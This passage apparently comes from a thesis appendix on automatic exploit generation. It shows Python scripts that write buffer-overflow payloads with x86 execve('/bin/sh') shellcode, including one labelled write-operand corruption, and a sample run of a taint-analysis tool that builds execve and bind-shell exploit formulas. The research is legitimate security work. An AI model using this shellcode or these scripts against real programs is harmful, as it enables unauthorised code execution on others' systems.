9  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
10  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
11  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
12  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
13  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
14  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
15  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
16  \x41\x41\x41\x41\x41\x41\x41\x08\xa0\x04\x08'
17
18   ex = open(sys.argv[1], 'w')
19  ex.write(exploit)
20  ex.close()
```

B5 - WriteOperandCorruptionExploit

ListingB.5:"Anexploitforwriteoperandcorruption"

```
1  import sys
2
3  exploit = '\x0c\xa0\x04\x08\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46
4  \x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f
5  \x62\x69\x6e\x2f\x73\x68\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
6  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
7  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
8  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
```

```
9   \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x70\x95\x04
10  \x08'
11
12   ex = open(sys.argv[1], 'w')
13  ex.write(exploit)
14  ex.close()
```

B6 - AXGENSampleRun

```
% ~/pin-2.6-25945-gcc.4.0.0-ia32_intel64-linux/pin -t exploitgen.so -- \
./test_programs/thesis_progs/read_strcpy \
./test_programs/thesis_progs/128.input
 [+] Client initialising [+] Starting program [+] Hooked read
[+] Read 128 bytes
[!] Byte 0 of stored EIP is tainted [!] Byte 1 of stored EIP is tainted [!] Byte 2 of stored EIP is tainted [!] Byte 3 of stored EIP is tainted
[!] Crash reason: tainted return value (0x41414141) [+] Hooked 1 reads, for a total of 128 bytes read [+] Getting taint propagation statistics...
[+] Number of tainted memory locations: 256 [+] Number of taint buffers: 2
[+] Logging taint buffer into to ti.out
[+] Determining trampoline reachable taint buffers... [+] 1 buffer(s) reachable via a register trampoline
[#] eax -> 0xbfe76898(size: 128, cclVal: PC/ASSIGN) [+] Processing for 3 different shellcodes...
[+] Shellcode 'execve'
[#] Building constraint formula...
[#] Adding EIP overwrite constraints... [#] Adding shellcode constraints...
[#] Logging formula to resultsDir/execve.smt [#] Number of variables 298
[#] Number of assumption clauses 84 [#] Number of formula clauses 128
[+] Shellcode 'alphanumeric_execve'
[!] No TaintBuffer exists that is large enough to hold the provided shellcode(length: 166)
[+] Shellcode 'tcp_bind_port'
[#] Building constraint formula...
[#] Adding EIP overwrite constraints... [#] Adding shellcode constraints...
[#] Logging formula to resultsDir/tcp_bind_port.smt [#] Number of variables 334
[#] Number of assumption clauses 156 [#] Number of formula clauses 132
[!] Calling exit() in the analysis client
```